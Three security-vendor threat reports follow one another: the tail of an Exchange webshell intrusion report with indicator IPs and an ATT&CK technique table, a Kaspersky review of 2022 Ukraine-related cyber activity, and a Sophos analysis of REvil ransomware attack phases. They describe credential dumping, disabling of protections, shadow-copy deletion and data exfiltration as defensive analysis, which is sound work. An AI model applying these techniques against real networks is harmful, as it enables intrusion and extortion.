In one incident against a financial institution in the EMEA region, we observed an actor installing a webshell and using an automated approach to interact with it to gather information and dump credentials from the compromised server. Fortunately, in this incident, the organization had Cortex XDR installed and the Password Theft Protection module enabled. This removed pointers to the credential hashes from the memory dump that the actors attempted to exfiltrate, preventing the actor from dumping credentials using Mimikatz.
As mentioned in our “Threat Assessment: Active Exploitation of Four Zero-Day Vulnerabilities in Microsoft Exchange Server,” Palo Alto Networks customers are protected against Microsoft Exchange Server attacks across our product ecosystem, with specific protections deployed in the following products and subscriptions:
- Next-Generation Firewall
- Threat Prevention (Deploy Content Pack 8380 which detects the four vulnerabilities)
- URL Filtering
- Cortex XDR 7.3.1
- Cortex XSOAR
## Indicators of Compromise
- 156.194.127.178
- 112.160.243.172
- 221.179.87.175
- 73.184.77.174
- 41.237.156.15
- 223.16.210.90
- 63.76.255.110
- 218.103.234.104
- 83.110.215.7
- 121.150.12.35
- 164.68.156.31
- 45.77.140.214
- 78.141.218.225
## Tactics, Techniques, and Procedures
| Technique (ID) | Technique | Description |
|-----------------------------------------------|------------------|-----------------------------------------------------------------------------|
| Exploit Public-Facing Application | T1190 | Actor exploited vulnerabilities in Microsoft Exchange Server |
| Software Component: Web Shell | T1505.003 | Actor installed webshell on compromised Exchange server |
| Data Encoding: Standard Encoding | T1132.001 | Actor issued base64 encoded scripts to the webshell for execution |
| Automated Collection | T1119 | Actor uses batch scripts to collect information and dump LSASS memory |
| Data from Local System | T1005 | Actor gathers running processes to find LSASS process identifier (PID) |
| Account Discovery: Domain Account | T1087.002 | Actor uses ‘dsquery’ to gather information from Active Directory |
| OS Credential Dumping: LSASS Memory | T1003.001 | Actor uses the MiniDump function within ‘comsvc.dll’ to dump LSASS memory |
| Archive Collected Data: Archive via Utility | T1560.001 | Actor uses the ‘makecab’ utility to compress files prior to exfiltration |
| Data Staged: Local Data Staging | T1074.001 | Actor saves files for exfiltration in `c:\inetpub\wwwroot\aspnet_client\` |
|
# Reassessing Cyberwarfare: Lessons Learned in 2022
**Authors**
GReAT
Kaspersky ICS CERT
At this point, it has become cliché to say that nothing in 2022 turned out the way we expected. We left the COVID-19 crisis behind hoping for a long-awaited return to normality and were immediately plunged into the chaos and uncertainty of a twentieth-century-style military conflict that posed serious risks of spreading over the continent. While the broader geopolitical analysis of the war in Ukraine and its consequences are best left to experts, a number of cyber events have taken place during the conflict, and our assessment is that they are very significant.
In this report, we propose to go over the various activities that were observed in cyberspace in relation to the conflict in Ukraine, understand their meaning in the context of the current conflict, and study their impact on the cybersecurity field as a whole.
## Timeline of Significant Cyber-Events Predating Feb 24th
In the modern world, it has become very difficult to launch any kind of military campaign without intelligence support in the field. Most intelligence is gathered from various sources through methods such as HUMINT (human intelligence), SIGINT (signals intelligence), GEOINT (geospatial intelligence), or ELINT (electronic intelligence), and so on.
For instance, according to the New York Times, in 2003, the United States made plans for a huge cyberattack to freeze billions of dollars in Saddam Hussein’s bank accounts and cripple his government before the invasion of Iraq. However, the plan was not approved because the government feared collateral damage. Instead, a more limited plan to cripple Iraq’s military and government communication systems was carried out during the early hours of the war in 2003. This operation included blowing up cellphone towers and communication grids as well as jamming and cyberattacks against Iraq’s telephone networks. Another such attack took place in the late 1990s when the American military attacked a Serbian telecommunications network, inadvertently affecting the Intelsat communications system for days, proving that the risk of collateral damage during cyberwarfare is pretty high.
The lessons learned from these events may allow predicting kinetic conflicts by monitoring new cyberattacks in potential areas of conflict. For instance, in late 2013 and January 2014, we observed higher-than-normal activity in Ukraine by the Turla APT group, as well as a spike in the number of BlackEnergy APT sightings. Similarly, at the beginning of February 2022, we noticed a huge spike in the amount of activity related to Gamaredon C&C servers. This activity reached hitherto-unseen levels, suggesting massive preparations for a major SIGINT gathering effort.
As shown by these cases, during modern conflicts, we can expect to see significant signs and spikes in cyberwarfare relating to both collection of intelligence and destructive attacks in the days and weeks preceding military attacks. Of course, we should note that the opposite is also possible: starting in June 2016, but most notably since September 2016 all the way to December 2016, the Turla group intensified their satellite-based C&C registrations tenfold compared to its 2015 average. This indicated unusually high activity by the Turla group, which signaled a never-before-seen mobilization of the group’s resources. At the same time, there was no ensuing military conflict that we know of.
### Key Insights
- Today’s military campaigns follow gathering of supporting intelligence in the field; this includes SIGINT and ELINT among others.
- Significant military campaigns, such as the 2003 invasion of Iraq, have been complemented by powerful cyberattacks designed to disable the enemy’s communication networks.
- In February 2022, we noticed a huge spike in activity related to Gamaredon C&C servers; a similar spike was observed in Turla and BlackEnergy APT activity in late 2013 and early 2014.
- We can expect to see significant signs and spikes in cyberwarfare in the days and weeks preceding military conflicts.
## Day One
On the very first day of the conflict (February 24, 2022), a massive wave of indiscriminate pseudo-ransomware and wiper attacks hit Ukrainian entities. We were not able to determine any form of consistency when it came to the targeting, which led us to believe that the main objective of these attacks may have been to cause chaos and confusion — as opposed to achieving precise tactical goals. Conversely, the tools leveraged in this phase were just as varied in nature:
- Ransomware (IsaacRansom)
- Fake ransomware (WhisperGate)
- Wipers (HermeticWiper, CaddyWiper, DoubleZero, IsaacWiper)
- ICS/OT wipers (AcidRain, Industroyer2)
Some of them were particularly sophisticated. As far as we know, HermeticWiper remains the most advanced wiper software discovered in the wild. Industroyer2 was discovered in the network of a Ukrainian energy provider, and it is very unlikely that the attacker would have been able to develop it without access to the same ICS equipment as used by the victim. That said, a number of those tools are very crude from a software engineering perspective and appear to have been developed hurriedly.
With the notable exception of AcidRain, we believe that these various destructive attacks were both random and uncoordinated – and, we argue, of limited impact in the grand scheme of the war. Our assessment of the threat landscape in Ukraine in the first months of the war can be found on SecureList.
The volume of wiper and ransomware attacks quickly subsided after the initial wave, but a limited number of notable incidents were still reported. The Prestige ransomware affected companies in the transportation and logistics industries in Ukraine and Poland last October. One month later, a new strain named RansomBoggs again hit Ukrainian targets – both malware families were attributed to Sandworm. Other “ideologically motivated” groups involved in the original wave of attacks appear to be inactive now.
### Key Insights
- Low-level destructive capabilities can be bootstrapped in a matter of days.
- Based on the uncoordinated nature of these destructive attacks, we assess that some threat actors appear to be capable of recruiting isolated groups of hackers on short notice, to perform destabilizing tasks.
- While the impact of these destructive cyber-attacks paled in comparison to the effects of the kinetic attacks taking place at the same time, it should be noted that this capability could in theory be directed against any country outside of the context of an armed conflict and under the pretense of traditional cybercrime activity.
## The Viasat “Cyberevent”
On the 24th of February, Europeans who relied on the ViaSat-owned “KA-SAT” satellite faced major Internet access disruptions. This so-called “cyber-event” started around 4h UTC, less than two hours after the Russian Federation publicly announced the beginning of the “special military operation” in Ukraine. As could be read from government requests for proposals, the Ukrainian government and military are notable consumers of KA-SAT access, and were reportedly affected by the event. But the disruptions also triggered major consequences elsewhere, such as interrupting the operation of wind turbines in Germany.
ViaSat quickly suspected that disruptions could be the result of a cyberattack. It directly affected satellite modems' firmwares, but was still to be understood as of mid-March. Kaspersky experts ran their own investigations and notably uncovered a likely intrusion path to a remote access point in a management network, while analyzing modem internals and a likely-involved wiper implant. The “AcidRain” wiper was first described later in March, while ViaSat published an official analysis of the cyber-attack. The latter confirmed that a threat actor got in through a remote-management network exploiting a poorly configured VPN, and ultimately delivered destructive payloads, affecting tens of thousands of KA-SAT modems. On May 10, the European Union attributed those malicious activities to the Russian Federation.
A lot of technical details about this attack are still unknown and may later be shared away from government eyes. Yet it is one of the most sophisticated attacks revealed to date in connection to the conflict in Ukraine. The malicious activities were likely conducted by a skilled and well-prepared threat actor, within an accurate timeframe which cannot be fortuitous. While the sabotage has likely failed to disrupt the Ukrainian defense badly enough, it had multiple effects beyond the battlefield: stimulating the US Senate to require a state of play on satellite cybersecurity, accelerating SpaceX Starlink deployment, as well as questioning the rules for dual-use infrastructure during armed conflicts.
### Key Insights
- The ViaSat sabotage once again demonstrates that cyberattacks are a basic building block for modern armed conflicts and may directly support key milestones in military operations.
- Advanced threat actors likely preposition themselves in various strategic infrastructural assets in preparation for future disruptive actions.
- Cyberattacks against common communication infrastructures are highly likely during armed conflict, as belligerents might consider these to be of dual use. Due to the interlinked nature of the Internet, a cyberattack against this kind of infrastructure will likely have side effects for parties that are not involved in the armed conflict. Protection and continuity planning are of utmost importance for this communications infrastructure.
- The cyberattack raises concerns about the cybersecurity of commercial satellite systems, which may support various applications, from selfie geolocation to military communications.
## Taking Sides: Professional Ransomware Groups, Hacktivists, and DDoS Attacks
As has always been the case, wartime has a very specific impact on the information landscape. It is especially true in 2022, now that humanity commands the most potent information spreading tools ever created: social networks and their well-documented amplification effect. Most real-world events related to the war (accounts of skirmishes, death tolls, prisoner of war testimonies) are shared and refuted online with varying degrees of good faith. Traditional news outlets are also affected by the broader context of information warfare.
DDoS attacks and, to a lesser extent, defacement of random websites have always been regarded as low-sophistication and low-impact attacks by the security community. DDoS attacks, in particular, require generating heavy network traffic that attackers typically cannot sustain for very long periods of time. As soon as the attack stops, the target website becomes available again. Barring temporary loss of revenue for e-commerce websites, the only value provided by DDoS attacks or defacement is the humiliation of the victim. Since non-specialized journalists may not know the difference between the various types of security incidents, their subsequent reporting shapes a perception of incompetence and inadequate security that may erode users’ confidence. The asymmetric nature of cyberattacks plays a key role in supporting a David vs. Goliath imagery, whereby symbolic wins in the cyber field help convince ground troops that similar achievements are attainable on the real-life battlefield.
According to Kaspersky DDoS Protection, since the beginning of 2022 during 11 months the service registered ~1.65 more attacks than in the whole 2021. While this growth may be not too significant, the resources have been under attack 64 times longer compared to 2021. In 2021 the average attack lasted ~28 minutes, in 2022 – 18.5 hours, which is almost 40 times longer. The longest attack lasted 2 days in 2021, 28 days in 2022.
Since the start of the war, a number of (self-identified) hacktivist groups have emerged and started conducting activities to support either side. For instance, a stunt organized by the infamous collective Anonymous involved causing a traffic jam in Moscow by sending dozens of taxis to the same location.
Kaspersky DDoS protection also reflects this trend. Massive DDoS attacks were spread unevenly over the year with the most heated times being in spring and early summer. The attackers peaked in February-early March, reflecting growth of hacktivism, which has died down by autumn. Currently, we see a regular anticipated dynamic of attacks, though their quality has changed. In May-June we detected extremely long attacks. Now their length has stabilized, nevertheless, while typical attacks used to last a few minutes, now they last for hours.
On February 25, 2022, the infamous Conti ransomware group announced their “full support of Russian government.” The statement included a bold phrase: “If anybody will decide to organize a cyberattack or any war activities against Russia, we are going to use our all possible resources to strike back at the critical infrastructures of an enemy.” The group followed up rather quickly with another post, clarifying their position in the conflict: “As a response to Western warmongering and American threats to use cyber warfare against the citizens of Russian Federation, the Conti Team is officially announcing that we will use our full capacity to deliver retaliatory measures in case the Western warmongers attempt to target critical infrastructure in Russia or any Russian-speaking region of the world. We do not ally with any government and we condemn the ongoing war. However, since the West is known to wage its wars primarily by targeting civilians, we will use our resources in order to strike back if the well-being and safety of peaceful citizens will be at stake due to American cyber aggression.”
Two days later, a Ukrainian security researcher leaked a large batch of internal private messages between Conti group members, covering over one year of activity starting in January 2021. This dump delivered a significant blow to the group who saw their inner activities exposed before the public, including Bitcoin wallet addresses related to many millions of US dollars received in ransom. At the same time, another cybercriminal group called “CoomingProject” and specializing in data leaks, announced they would support the Russian Government if they saw attacks against Russia.
Other groups, such as Lockbit, preferred to stay neutral, claiming their “pentesters” were an international community, including Russians and Ukrainians, and it was “all business,” in a very apolitical manner.
On February 26, Mykhailo Fedorov, the Vice Prime Minister and Minister of Digital Transformation of Ukraine, announced the creation of a Telegram channel to “continue the fight on the cyber front.” The initial Telegram channel had a typo in the name (itarmyofurraine) so a second one was created.
The channel operators constantly give tasks to the subscribers, such as DDoS’ing various business corporations, banks, or government websites. Within a short time, the IT Army of Ukraine, composed of volunteers coordinating via Twitter and Telegram, reportedly defaced or otherwise DDoSed over 800 websites, including high-profile entities, such as the Moscow Stock Exchange.
Parallel activity has also been observed by other groups, which have taken sides as the conflict was spilling over into neighboring countries. For instance, the Belarusian Cyber-Partisans claimed they had disrupted the operations of the Belarusian Railway by switching it to manual control. Their goal was to slow the movement of Russian military forces through the country.
### Key Insights
- The conflict in Ukraine has created a breeding ground for new cyberwar activity by various parties including cybercriminals and hacktivists, who rushed to support their favorite sides.
- We can expect the involvement of hacktivist groups in all major geopolitical conflicts from now on.
- The cyberwar activities are spilling over into neighboring countries and affecting a large number of entities, including governmental institutions and private companies.
- Some groups, such as the IT Army of Ukraine, have been officially backed by governments, and their Telegram channels include hundreds of thousands of subscribers.
- The majority of attacks have relatively low complexity.
- Most of the time, attacks conducted by these groups have a very limited impact on operations but may erroneously be reported as serious incidents and cause reputational damage.
- These activities may originate from genuine “grassroots” hacktivists, groups encouraged or supported by one of the belligerents, or from the belligerents themselves – and telling which is which may well prove impossible.
## Hack and Leak
On the more sophisticated end of attacks attempting to hijack media attention, hack-and-leak operations have been on the rise since the beginning of the conflict. The concept is simple: breaching into an organization and publishing its internal data online, often via a dedicated website. This is significantly more difficult than a simple defacing operation, since not all machines contain internal data worth releasing. Hack-and-leak operations, therefore, require more precise targeting, and will, in most cases, also demand more skill from attackers, as the information they are looking for is, more often than not, buried deep within the victim’s network.
An example of such a campaign is the “doxing” of Ukrainian soldiers. Western entities were also targeted, such as the Polish government or many prominent pro-Brexit figures in the UK. In the latter cases, internal emails were published, leading to scrutiny by investigative journalists. In theory, these data leaks are subject to manipulation. The attackers have all the time they need to edit any released document or could just as well inject entirely forged ones.
It is important to note that it is absolutely unnecessary for the attacker to go to such lengths for the data leak to be damaging. The public availability of the data is proof itself that a serious security incident took place, and the legitimate, original content may already contain incriminating information.
### Key Insights
- In our 2023 APT predictions, we foresee that hack-and-leak operations will be on the rise next year, as they are very efficient against entities that already have high media exposure and corruption levels (i.e., politicians).
- Information warfare is not internal to a conflict, but instead directed at all onlookers. We expect that the vast majority of such attacks will not be directed at the belligerents, but rather at entities who are perceived as being too supportive (or not supportive enough) of either side.
- Whether it is hack-and-leak operations or DDoS, cyberattacks emerge as a non-kinetic means of diplomatic signaling between states.
## Poisoned Open-Source Repositories, Weaponizing Open-Source Software
Open-source software has many benefits. Firstly, it is often free to use, which means that businesses and individuals can save money on software costs. However, since anyone can contribute to the code and make improvements, this can also be abused and in turn, open security trapdoors. On the other hand, since the code can be publicly examined for any potential security vulnerabilities, it also means that given enough scrutiny, the risks of using open-source software can be mitigated to decent levels.
Back in March, RIAEvangelist, the developer behind the popular npm package “node-ipc,” published modified versions of the software that contained a special functionality if the running systems had a Russian or Belarusian IP address. On such systems, the code would overwrite all files with a heart emoji, additionally deploying the message, WITH-LOVE-FROM-AMERICA.txt, originating in another module created by the same developer. The node-ipc package is quite popular with over 800,000 users worldwide. As is often the case with open-source software, the effect of deploying these modified “node-ipc” versions was not restricted to direct users; other open-source packages, for instance “Vue.js,” which automatically include the latest node-ipc version, amplified the effect.
Packages aimed to be spread in the Russian market did not always lead to destruction of files; some of them contained hidden functionality such as adding a Ukrainian flag to a section of the website of software or political statements in support of the country. In certain cases, the functionality of the package is removed and replaced with political notifications. It is worth noting that not all packages had this functionality hidden with some authors announcing the functionality in the package description.
One of the projects encourages spreading a file that once opened will start hitting various pages of the enlisted servers via JavaScript to overload the websites. Other repositories and software modules found on GitHub included those specifically created to DDoS Russian governmental, banking, and media sites, network scanners specifically for gathering data about Russian infrastructure and activity, and bots aimed at mass reporting of Telegram channels.
### Key Insights
- As the conflict drags on, popular open-source packages can be used as a protest or attack platform by developers or hackers alike.
- The impact from such attacks can extend further than the open-source software itself, propagating to other packages that automatically rely on the trojanized code.
## Fragmentation
During the past years, most notably after 2014, this process began to expand to the IT Security world, with nation states passing laws banning each other’s products, services, and companies. Following the start of the conflict in Ukraine in February 2022, we have seen a lot of western companies exiting the Russian market and leaving their users in a difficult position when it comes to receiving security updates or support. At the same time, some western nations have pushed laws banning the use of Russian software and services due to a potential risk of these being used to launch attacks.
Obviously, one cannot totally rule out the possibility of political pressure being applied to weaponize products, technologies, and services of some minor market players. When it comes to global market leaders and respected vendors, however, we believe this to be extremely unlikely.
On the other hand, searching for alternative solutions can be extremely complicated. Products from local vendors, whose secure development culture, as we have often found, is usually significantly inferior to that of global leaders, are likely to have “silly” security errors and zero-day vulnerabilities, rendering them easy prey for both cybercriminals and hacktivists.
Should the conflict continue to exacerbate, organizations based in countries where the political situation does not require addressing the above issues should still consider the future risk factors that may affect everyone:
- The quality of threat detection decreases as IS developers lose some markets, resulting in the expected loss of some of their qualified IS experts. This is a real risk factor for all security vendors experiencing political pressure.
- The communication breakdowns between IS developers and researchers located on opposite sides of the new “iron curtain” or even on the same side (due to increased competition on local markets) will undoubtedly decrease the detection rates of security solutions that are currently being developed.
- Decreasing CTI quality: unfounded politically motivated cyber threat attribution, exaggerated threats, lower statement validity criteria due to political pressure and in an attempt to utilize the government’s political narrative to earn additional profits. Government attempts to consolidate information about incidents, threats, and vulnerabilities and to limit access to this information detract from overall awareness, since information may sometimes be kept under wraps without good reason.
### Key Insights
- Geopolitics are playing an important role and the process of fragmentation is likely going to expand.
- Security updates are probably the top issue when vendors end support for products or leave the market.
- Replacing established, global leaders with local products might open the doors to cybercriminals exploiting zero-day vulnerabilities.
## Did a Cyberwar Happen?
Ever since the beginning of the conflict, the cybersecurity community has debated whether or not what was going on in Ukraine qualifies as “cyberwar.” One indisputable fact, as documented throughout this report, is that significant cyber activity did take place in conjunction with the start of the conflict in Ukraine. This may be the only criteria we need.
On the other hand, many observers had envisioned that in the case of a conflict, devastating preemptive cyberattacks would cripple the “special operation” party. With the notable exception of the Viasat incident, whose actual impact remains hard to evaluate, this simply did not take place. The conflict instead revealed an absence of coordination between cyber- and kinetic forces, and in many ways downgraded cyber offense to a subordinate role. Ransomware attacks observed in the first weeks of the conflict qualify as distractions at best. Later, when the conflict escalated this November and the Ukrainian infrastructure (energy networks in particular) got explicitly targeted, it is very telling that the Russian military’s tool of choice for the job was missiles, not wipers.
If you subscribe to the definition of cyberwar as any kinetic conflict supported through cyber means, regardless of their tactical or strategic value, then a cyberwar did happen in February 2022. Otherwise, you may be more satisfied with Ciaran Martin's qualification of “cyber harassment.”
### Key Insights
- There is a fundamental impracticality to cyberattacks; an impracticality that can only be justified when stealth matters. When it does not, physical destruction of computers appears to be easier, cheaper, and more reliable.
- Unless very significant cyberattacks have failed to reach public awareness, at the time of writing this, the relevance of cyberattacks in the context of open war has been vastly overestimated by our community.
## Conclusion
The conflict in Ukraine will have a lasting effect on the cybersecurity industry and landscape as a whole. Whether the term “cyberwar” applies or not, there is no denying that the conflict will forever change everyone’s expectations about cyber activity conducted in wartime, when a major power is involved. Unfortunately, there is a chance that established practice will become the de facto norm.
Before the war broke out, several ongoing multiparty processes (UN’s OEWG and GGE) attempted to establish a consensus on acceptable and responsible behavior in cyberspace. Given the extreme geopolitical tensions we are currently experiencing, it is doubtful that these already difficult discussions will bear fruit in the near future.
A promising initiative in the meantime is the ICRC’s “digital emblem” project: a proposed solution to clearly identify machines used for medical or humanitarian purposes, in the hopes that attackers will refrain from damaging them. Just like the real-life red cross and red crescent emblems cannot stop bullets, digital emblems will not prevent cyberattacks on a technical level – but they will at least make it obvious to everyone that medical infrastructure is not a legitimate target.
As it seems more and more likely that the conflict will drag on for years, and with the death toll already being high… we hope that everyone can at least agree on that.
|
# Relentless REvil, revealed: RaaS as variable as the criminals who use it
Andrew Brandt
June 11, 2021
The transition to a service model of doing business transformed ransomware, giving its developers the ability to focus on features, and leaving the harder part – the break-in and deployment to the target’s computers – to its customers, threat actors who employ a wide range of attack styles, software, and expertise to the task. One of the ransomware-as-a-service (RaaS) we encounter most frequently, known alternately as Sodinokibi or REvil, is as conventional a ransomware as we’ve seen: Its routines, configuration, and behavior are what we’ve come to expect from a mature family that’s obviously well used in the criminal underground.
Unsurprisingly, Sophos has devoted significant effort to combat this everyday menace. In addition to tamper protection features that prevent a script from disabling endpoint protection features, we use behavioral detection rules that identify the core activities ransomware must engage in, and a feature called CryptoGuard that prevents the ransomware from encrypting data.
As attacks involving RaaS malware, including REvil, increasingly have generated public attention and news coverage, SophosLabs wanted to pull together a common body of our knowledge about the ransomware itself, and the variety we observe in attack methods employed by the criminals who lease the software and handle the break-ins. In addition, we reviewed reports produced by Sophos Rapid Response about attacks involving Sodinokibi/REvil where the MTR team were hired to provide incident response and cleanup. From these detailed analyses, we were able to develop a picture of a common malware being deployed in myriad ways by a large base of criminal customers.
## Signs of an impending attack
The deployment of ransomware usually happens at the very end of a much larger, and more elaborate, set of precursor actions that a criminal attacker will take during what might be a significantly long time before anyone in a targeted organization logs on to find a ransom note on their desktop. So while we will discuss the internals and typical characteristics of Sodinokibi/REvil, it makes more sense to describe these precursor actions first. If a defender or network owner can discover and quickly act on these behaviors while the attacker is still laying the groundwork for the final ransomware payload, it’s possible to cut off the attackers’ access before any harm comes to the target’s computers.
Attackers themselves appear to use a combination of scripting (sometimes hosted on file repositories like Github or Pastebin) and manual control (sometimes via the console, other times through Windows Remote Desktop or commercial remote access tools).
We’ve broken a typical attack into the following phases: Penetration and initial access; Credential harvesting and privilege escalation; Tilling the field; and deployment of the ransomware. Often (but not always, because it is attacker-dependent), there’s a phase where the attackers use their newfound credentials to hunt for and exfiltrate sensitive organizational data in the hours-to-weeks before delivering the payload.
## Penetrating the network
Breaking in is, perhaps unsurprisingly, not all that hard to do if it’s what you do all day long. But it’s possible to boil down the initial access methods employed by a variety of criminals who attacked using Sodinokibi/REvil into a few types: Brute-force attacks against known internet-facing services like VPNs, RDP, desktop remote management tools like VNC, and even some cloud-based management systems; The abuse of previously-obtained credentials or access (either retrieved from other malware or phishing) of legitimate accounts that didn’t require the use of multi-factor authentication; or, in some cases, piggybacking as a payload from other malware present on the target’s network.
Brute-force attacks are, unfortunately, a large part of the traffic that almost any internet-facing service sees on an hour-to-hour basis. The attacks cost so little to the attackers it pays just to throw the kitchen sink at a login screen, which is why multi-factor authentication is so incredibly important (though not necessarily a panacea). Attackers are just as able to use tools like Shodan or Censys, which reveal open ports leading to common services, as defenders.
In one of the recent attacks, the organization logged a massive volume of failed inbound RDP login attempts targeting the server which eventually became a point of access for the attackers. On a typical server, the log that stores failed attempts to login to services like RDP rolls over, overwriting the oldest data, over a period of from several days to weeks depending on how many failed attempts were made. In this attack, the volume of failed RDP login events caused the log files to completely overwrite themselves with new entries every five minutes. The data collected from that server showed approximately 35,000 failed login attempts over a five-minute period, originating from 349 unique IP addresses around the world.
Among the 35,000 brute-force login attempts made every five minutes, these were the most common usernames the attackers tried to use. RDP was implicated as one of the most common methods of breaching a network in cases we were called in to investigate, which is why shutting off the outside world’s access to RDP is one of the most effective defenses an IT admin can take. But RDP was not the only culprit: attackers also gained initial access through other internet-facing services they were able to brute-force or to launch an exploit against a known vulnerability that gave them some access. In one case, the attacker targeted a bug in a specific VPN server software to gain initial access, then exploited a bug on a five-year-old version of Apache Tomcat on the same server that let the attacker create a new admin account on the server.
In at least two different cases involving different target organizations, the initial point of access was something left in place by some other threat actor, who we later discovered had previously struck those organizations with ransomware weeks to months prior to our involvement, victimizing them twice. In one of those cases, we discovered a remnant of Cobalt Strike, a commercial penetration testing toolset frequently abused by criminals to provide themselves with remote access to a computer. The Cobalt Strike artifact had been left in place by a (presumably, different) threat actor who deployed a ransomware called Le Chiffre. In another, the attacker appeared to have brute-forced RDP on a machine that had been previously implicated as the initial foothold of an attack by a different type of ransomware just three weeks prior to the REvil attack.
## Credential harvesting and privilege escalation
Ransomware threat actors prefer to use internal tools like Domain Controllers to deploy the payload; If they haven’t bought a stolen or phished credential, they’ll often quietly monitor the network where the computer on which they gained an initial foothold is located. The attackers may use freely-available, not-inherently-malicious utilities to extract saved passwords from the hard drive, and/or more advanced tools such as Mimikatz to obtain the credentials of a domain administrator account. This takes a lot of patience on the part of the attacker, because there’s no guarantee they’ll pick up a credential in any given set of time. But once they have what they need, they act fast.
## Tilling the field: Laying the groundwork for the attack
Preparing an enterprise network for a ransomware attack takes a surprising amount of work. The attackers need to establish a list of internal targets, give themselves domain admin privileges, and use those privileges to shut down or otherwise hobble anything that might impede their attack: Windows Defender is usually the first to go, but often the attackers will spend some time trying to determine what endpoint protection tools are running on the computers, and may run one or more customized scripts that combine an attempt to kill any running protection process or services, and also to remove any persistence those processes or services might have.
One REvil attacker built a customized script to terminate Sophos services and processes and even tried to uninstall the software. The attempt was prevented by tamper protection features in the product. In at least one case involving Sodinokibi, the attackers went so far as to determine that the target’s network was using a Sophos firewall and managing their endpoint protection through Sophos Central. The attacker diligently worked at obtaining the credentials of IT staff and methodically tried those credentials until they found one with permissions to access the Sophos Central control panel, where they used that access to shut down any features that would have blocked the ransomware from executing.
## Deleting the Volume
Shadow Copy has become a time-honored ransomware tradition at this point. Routinely, we encounter PowerShell scripts, batch files, or other “laying the groundwork” code attackers deploy to disable a variety of protective features. One example is the Volume Shadow Copy, which attackers typically delete as the Volume Shadow could assist in the recovery of deleted or encrypted data. The number of different commands they can use to execute the same tasks is somewhat limited, but the sequence and thoroughness varies greatly from threat actor to threat actor. We also discovered that some threat actors simply number their scripts sequentially, or give them benign-looking names, others have used files with profane or hateful references in the filenames, sometimes in combination with the word Sophos.
## Large uploads of stolen data (exfil)
In only about half of the incidents involving Sodinokibi/REvil analyzed for this report did the attackers conduct an exfiltration of significant volumes of private, sensitive, or valuable data from the target organizations. In theory, these types of uploads should be detectable, but in practice, that never happened in the cases we investigated. Practically speaking, once they had obtained the permissions they needed, the attackers typically spent a few days looking through file servers, collecting large amounts of documents and bundling them into one or more compressed files on a machine inside the network. Once they had collected everything they wanted to steal in one place, they would begin an upload that, depending on the network speed and the amount of data, could take from hours to more than a day to complete.
Threat actors have used a variety of cloud storage services to hold this stuff in the past, but appear to prefer a few over others. Mega.nz, the cloud storage provider, seems to be in favor among some criminals who engage in ransomware attacks we’ve investigated. Among the incidents where Sodinokibi was eventually deployed after a large exfiltration and an attempted extortion, roughly three-quarters used Mega.nz as a (temporary) repository for that stolen data. Mega uses its own client application to speed uploads, which were found left behind by the attackers in cases where they didn’t clean up after themselves. A small number of attackers used other methods, such as installing a portable copy of the FTP client FileZilla that they used to upload data to a staging server outside the target’s network perimeter.
Conventional wisdom about how to respond to data leak extortion attempts has shifted away from advice to make the payment. The criminals claim they will delete their copies of the data if you pay the ransom demands, but that’s widely viewed as an unreliable promise. There’s no assurance other than the word of people who are extorting you that they’ll hold up their end of the bargain.
## The final insult: deployment
Attackers have launched the ransomware payload using a wide variety of methods. They may push out copies to individual machines from a domain controller, or use administrative commands with WMIC or PsExec to run the malware directly from another server or workstation they control over the internal network of the target organization. Sodinokibi/REvil has a few additional options that its operators may take advantage of by launching the malware with special command flags. One of the ways we’ve observed ransomware attempt to work around endpoint protection tools is to reboot the computer into Safe Mode, and then begin the encryption operation. A computer in Safe Mode boots to a diagnostic form of Windows in which third-party drivers and services are not running, but the ransomware adds itself to the (very short) list of applications that run in Safe Mode. REvil has a Safe Mode flag attackers could use.
In one instance, we observed a threat actor attempt to bypass security software by delivering and installing a full copy of VirtualBox and a virtual disk file, running the ransomware within a Windows 10 virtual machine guest copied to the targeted host computer, executing the encryption commands from the guest to target the host. In others, we’ve observed the threat actor using WMI to create service entries on the machines they target for encryption. The entries contain a long, encoded command string that is impossible to decode unless you know the specific variables it was looking for. These variables included information such as the machine name, IP address, domain, and username. If you didn’t know all of these for the computer the service had been installed on, then decoding the final layers was impossible.
## How the ransomware, itself, works
Sodinokibi arrives as a packed, encrypted executable that has several anti-analysis features designed to frustrate researchers. The binary files are compiled with the unique configuration and ransom note text hardcoded into the application. When first executed, the malware profiles the target machine, enumerates a list of the running processes, and deletes the Volume Shadow Copy, the virus definition database used by Windows Defender, and temporary or backup files used by a number of different third-party programs that may be installed on the machine.
It searches the list of running processes for any matches to a list of process names encoded into the configuration, and then attempts to kill those processes. Among the 30-odd process names are included various database services, office applications, email clients, backup utilities, and the Firefox browser (but, oddly, no others). It then enumerates the list of installed services and, at least in the case of some of the samples we received, it attempts to disable the Sophos service (these attempts routinely fail, due to tamper protection) as well as those of seven other commercial software tools.
Next, the ransomware decodes and writes out the ransom note to the root of the C: drive. The note lists a Tor website address and includes instructions on how to contact the attackers using either the Tor Browser, or with a conventional browser on a Tor gateway website, as well as a long key that the attackers use in the decryption utility. Embedded within the configuration is an encoded .bmp image file, which the ransomware writes to the %AppData%\Local\Temp folder and sets as the desktop image on the infected computer. The graphic says “All of your files are encrypted! Find [name of the ransom note] for more instructions.” The ransom note filename starts with the same eight-random-character string the ransomware appends to the filename of every file it encrypts.
## How the Salsa20 algorithm is used
Sodinokibi/REvil uses the curve25519/salsa20 algorithm to encrypt files. The built-in configuration contains a long list of folders, file types, and specific filenames that it won’t encrypt (to maintain stability of the affected computer) rather than a list of targeted filetypes. The ransomware does some housekeeping tasks while running. The embedded configuration contains a list of internet domain names; It sends statistics about the infection process back to the operators of the ransomware at one or more of these domains. These domains serve as strong indicators of compromise.
REvil/Sodinokibi also has switched to using the Monero cryptocurrency as its exclusive payment method. As Monero has additional privacy features that Bitcoin does not have, it’s unlikely that we’ll see a recovery of the ransom paid to a threat actor who deployed this ransomware, as the FBI was able to accomplish with the DarkSide ransomware attack against Colonial Pipeline.
## Guidance for IT professionals
Sophos products detect various forms of Sodinokibi/REvil as Troj/Sodino-*, Mem/Sodino-*, and HPMal/Sodino-A. While not an exhaustive list, these recommendations are more important than ever.
- **Monitor and respond to alerts** – Ensure the appropriate tools, processes, and resources (people) are available to monitor and respond to threats seen in the environment. It is crucial to ensure that, when a security alert or event happens, someone investigates and responds in a timely manner. Ransomware attackers may time their strike during off-peak hours, weekends, or holidays, working on the assumption that few or no staff are watching.
- **Strong passwords** – Strong passwords serve as one of the first lines of defense. As a minimum use a complex password of at least twelve characters. Password managers will help users maintain complex passwords that are unique to individual accounts. Don’t reuse passwords anywhere.
